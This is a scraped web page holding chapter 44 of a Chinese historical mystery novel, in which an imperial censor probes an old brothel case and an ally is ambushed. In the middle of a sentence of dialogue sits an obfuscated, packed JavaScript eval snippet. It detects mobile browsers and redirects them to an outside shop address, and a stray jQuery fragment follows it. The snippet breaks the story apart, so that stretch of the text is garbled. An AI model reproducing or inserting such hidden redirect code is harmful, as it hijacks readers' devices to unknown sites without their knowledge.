默认冷灰
24号文字
方正启体

44. 第 44 章

作者:秋庚白本书字数:K更新时间:
    同时妇人已敲响他家的门:“小丹爹啊!方才村口的小子们说村里进来外人了!你看到没有?!”


    老人犹豫地看着郑璟澄,拉门的手松开,颤颤巍巍问:“什么人?”


    又急又气,“村口的小子说是两个年轻公子!钟老爷子才传话,这几日京中来大官,让咱们都把嘴闭严实了!”


    老人浑浊的眼里难掩震惊,在近在咫尺那张清俊面容上打量了一遍又一遍。


    薛喜:“小丹她爹,你听着没有?!还是你房里进人了?!”


    言罢,薛喜朝带来的钟家仆从递了眼神。


    瞬时,脚步纷杂,踏上石阶,继而传来大力敲门声。


    郑璟澄知道避无可避,不想老人为难,准备让出门口。


    老人却忽然扬声:“你们还嫌把我们害的不够惨吗?!小丹尸骨未寒!就不能让我们老两口清静清静?!”


    砸门声这才消止,薛喜的声音只隔着门板。


    “小丹爹啊,你要是心里不舒服也得多跟我们说说!不说我们怎么帮你啊!”


    “帮?!”老人满目愤恨,使劲攥拳忍着,“你们别再来烦我们就是帮!”


    话都说到这份上了,薛喜不好再留,带着人朝下一家去了。


    几人才走,老人满含悲戚的眼就再次转向郑璟澄。


    方才去后面炊房的妇人也不知何时走了进来,那双早被悲伤噬空的眼里含着重燃希望的碎光,跌跌撞撞走进来,乞求一般跪在了郑璟澄面前。


    她两只洇满泪的眼里扑簌簌掉下连串的泪,洗刷满脸憔悴的苍白。


    “公子真是京中的大官吗?!”


    再也瞒不下去,郑璟澄连忙将妇人扶起。


    “是。专门来查寻芳阁旧案的。”


    老人也当即抓住他另一只手臂,满眼急切道:“一定是小丹死不瞑目显灵了!我就说郜春那五姨娘怎么跑到我们这避风头!”


    妇人喜极而泣,眼泪止不住地流,她反复用袖子擦,皴破的皮肤渗出血。


    “大人请救救我们!我们这些奴籍这辈子都不可能见到京中的大官!只能活在钟继鹏的魔掌下暗无天日啊!”


    郑璟澄深知二人情绪激动,温声安抚:“还请二老放心,此次我代皇上来,除了彻查寻芳阁的旧案,还要清理平昌乃至资安的官风败绩。”


    “不过,钟继鹏能不能倒不是我一个人说了算,还要仰仗平昌的百姓。”


    这话说得再直白不过,他即便是朝廷派来的高官,也得人证物证充足才能派上用处。


    “大人请放心!小丹都没了!若能割掉钟继鹏这颗毒瘤,我们老两口豁了命都无所谓!”


    郑璟澄问了话出来,已是晌午。


    弘州等在村口外一处隐蔽位置,毕竟方才看守村子的少年被打晕,已经算是打草惊蛇。


    从个野山头上走下来,郑璟澄拍了拍满身杂草,就看山坡下除去弘州,还站了几个眼熟的人。


    其中一个是冷铭,另一个也是虎背熊腰,只不过太久不见,年纪又长了些。


    “郑大人!”


    郑璟澄走近,朝同样便服装扮的中年男人抱手回礼:“闫都督!”


    虎背熊腰的人随即道:“昨日才听冷大人说郑大人已到平昌了。竟是比此前说的早了半旬。”


    郑璟澄点头,“事出突然,也是奉命而为。”


    “郑大人让我们来暮村是因何?”


    “有劳闫都督跑一趟。暮村三十几户村民皆是钟继鹏手下贱籍,不过涉及到寻芳阁的案子,我需要闫都督的人悄悄把守,确保他们的安全。都督觉得难吗?”


    闫俊达犹豫了一瞬,“只怕钟继鹏很快就知道大人进了平昌,他会来赶尽杀绝。”


    “钟继鹏已经知道了。所以才没通知府衙的人,而是先去找了闫都督。”


    这话分明是暗示闫俊达仍旧被他甚至皇上信服。


    “我尽量。不过方才来报,郜春的五姨娘坐着个婆子的马车跑了。我倒觉得追她才是当务之急!”


    “尽量?”郑璟澄冷笑,“这可并不是能选择的,而是务必!若有差池,都督该知道下场如何。”


    闫俊达的目色也跟着冷寂下来,却也拿不准这位年纪轻轻的御史中丞悄然而至,手上到底有多少底牌。


    沉默之时,郑璟澄又问弘州,“你探到什么了?”


    “方才我循声找过去,听郜春的五姨娘跟那薛姓夫人说今日会离开。后来那妇人去见了熟人,薛喜便没再跟着,带着一众人离开。”


    郑璟澄:“见什么熟人?”


    却听闫俊达解释,“想是为了奔逃做的准备!”


    郑璟澄:“听闻她是寻芳阁的旧鸨母,听都督的意思,仿佛知道她因何事逃奔?”


    闫俊达想了想。


    “郑大人不是也在查当年寻芳阁歌姬惨死的悬案?那会可就是她在寻芳阁当家作主!后来郜春把她娶回府,就是因她知道的东西太多!除也不是,不除也不是,只能囚在身边看着。”


    “照这般说,她便不该被郜春放在暮村。”


    闫俊达沉默,似是极力隐藏。


    问不出个所以然,郑璟澄也不想白费功夫,索性抱拳一礼。


    “暮村的安危就有劳都督了。”


    言罢他带着冷铭和弘州一并上马离开。


    年纪轻轻的副将连忙跑至闫俊达身边,悄然问:“要不要通知钟老爷?”


    闫俊达负着手,四周环顾了一圈。


    “先不说。”


    “这位郑大人擅长出其不意。他根本没必要大张旗鼓来暮村打听消息。如今来了,想必是留着后手。先按兵不动,看看形势再论。”


    ^


    詹晏如醒来后,按照跟丘婆约定好的,到药房取了药后便去西郊的官驿等着她。


    可等了整整一个白日,丘婆始终没回来,直到暮色四合,也没见着人影。


    詹晏如有些着急,趁着还没打烊,拿着帷帽下楼去。


    才走到大堂,却听丘婆的声音从背后传来。


    詹晏如忙迎上去焦急问:“阿婆怎么现在才回来?!”


    丘婆看上去着实疲惫,拉着她手往楼上客房走。


    借着廊道内的光线,詹晏如才发现她指甲里面都是泥。


    “你方才去刨土了?”


    丘婆点头,神色看着不太对。


    “你猜我今日见着谁了?”


    詹晏如摇头。


    “展雏!就是后来嫁进县衙府做五姨娘的那个老鸨母!”


    詹晏如这才想起来,她小时候好像还见过那个圆滑的女人。


    “所以丘婆现在才回来?”


    两人进了厢间,丘婆小心翼翼瞅了瞅廊道,确认无人跟随才关上门上了门闩。


    “叙了半天旧。她知道我手上那三只壶里有当年寻芳阁的少女名录。”


    “她早就知道?!”詹晏如惊讶,“阿婆不是说那三只壶是你旧友的吗?”


    “是旧友的!但他们三人先后全死了!我起初也不知壶中秘密,他们三个都死了我才发现不对劲!”


    “当年展雏帮着钟继鹏干了不少龌龊事!她担心钟继鹏杀她,便把寻芳阁的少女名录分散藏了几处!三只壶里恰好就是誊录的副本!”


    “后来那三只壶不知如何落到我那三个旧友手上…这才有了后面的事。”


    詹晏如犹豫了下。


    “所以,正本在展雏手上?!”


    “说的就是呢!不过她也只是提了一嘴!说郜春那个王八蛋推她出来背黑锅!她想跑,看着我有马车,便求我送她一程。”


    可詹晏如越想越不对劲。


    “你送她了??”


    “多年的老主仆了,看她那样落魄,我也于心不忍,想着她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922197|192599||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说的地方也不远,就送了她一程。”


    闻言,詹晏如的心重重一沉。


    她连忙去拿包裹。


    “我们住不了了!必须连夜走!”


    “怎么了丫头?!”丘婆已被她拉着起身,“我才把干茶都埋了,要是走,我还得给刨出来!”


    “你埋下做什么?”


    “那干茶本就罕有!若谁惦记上可就麻烦了!”


    詹晏如推着她出门:“阿婆快去取!我去找驭夫,在车里等你!”


    丘婆还是坚持问明白,“到底怎么了?!”


    “阿婆!你上当了!你就没想想展雏知道那么些秘密,郜春为什么偏把她留在暮村?!”


    丘婆思考着。


    “郜春就是要放她出来!这时候展雏走投无路,定然会病急乱投医!她想活就得把秘密转移给旁人!她要引开郜春的注意!而这也正是郜春要找的!”


    丘婆慌了。


    “但她什么也没给我啊!”


    “不管她给没给,我们先离开!只要安全上路,一切都还好说!”


    丘婆被她一吓,不敢再耽误,当即去了后院。


    可詹晏如才走出一层大堂,就发现官驿门前静地出奇。


    她连跑带走朝停着马车的地方赶。


    这里没挂什么灯,黑漆漆的看不清前路。


    可随着一股潮风涌来的血腥味,却让她心下越来越慌。


    直到看见他们租用的高头大马被削了脑袋,横躺在地,她转身要跑,却忽见身后赫然出现了十几个黑影。


    还没看清来人,她颈后被人一砸,彻底没了知觉。


    ^


    因着寻芳阁的缘故,平昌并未设置宵禁。


    子夜的锣音敲响,大街上的人却依旧络绎不绝。


    郑璟澄租用的一进小院内灯火通明,随着几道急促的脚步声传来,他也赶忙迎了出去。


    从暮村离开后,郑璟澄就让弘州带着几个邵嘉诚手下借调的兵士去追郜春的五姨娘,不想这时候才回。


    黑漆漆的庭院里,几个身穿黑衣的人一并返回,还拖着个麻布袋子。


    弘州:“大人!捉到那妇人了!”


    郑璟澄上前挑开袋口,里面露出个头发花白的老妇人。


    弘州又道:“这妇人机警,躲去破庙和乞丐们混着,找到她着实费力气。”


    “没有别人追她?”


    弘州:“没有。我们到的时候从旁观察了半晌才捉人的。”


    郑璟澄又问:“谁把她送走的?看到人么?”


    “没有。我们到时拉她去的马车都走了。只她一人。”


    这却奇怪了。


    按照闫俊达说的,她知道的秘密极多,岂能无人追赶?


    郑璟澄下令将妇人弄醒,话音才落,冷铭也披星戴月赶了回来。


    “大人!今日着实顺利!”冷铭边说边从怀里掏了几本册子,“这都是县衙户籍司寻来的!也不知县衙防守怎会那般薄弱,轻而易举就找到这几本户籍簿。”


    两件事都太顺利了,着实透着蹊跷。


    郑璟澄沉默下来。


    闫俊达今日那般说,显然是想引郑璟澄去找郜春的五姨娘。


    若她真的知道那么些秘密,又岂会无人对她赶尽杀绝?放任她自生自灭?


    除非,还有比这个妇人更有价值的事。


    会是什么呢?


    “咿咿呀呀”的梦呓从布袋子的位置传来。


    郑璟澄收神时,妇人也醒了。


    她依旧受惊,眼睛还没睁开就一通喊叫:“我什么也不知道,秘密全给丘婆了!你们要找去找她,我什么也不知道!!”


    丘婆?!


    郑璟澄脑袋里“嗡”了一瞬,立即把妇人拎起来问:“哪个丘婆?!”


    “邱彩娟!她今夜落脚西郊官驿!你们去找她!!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)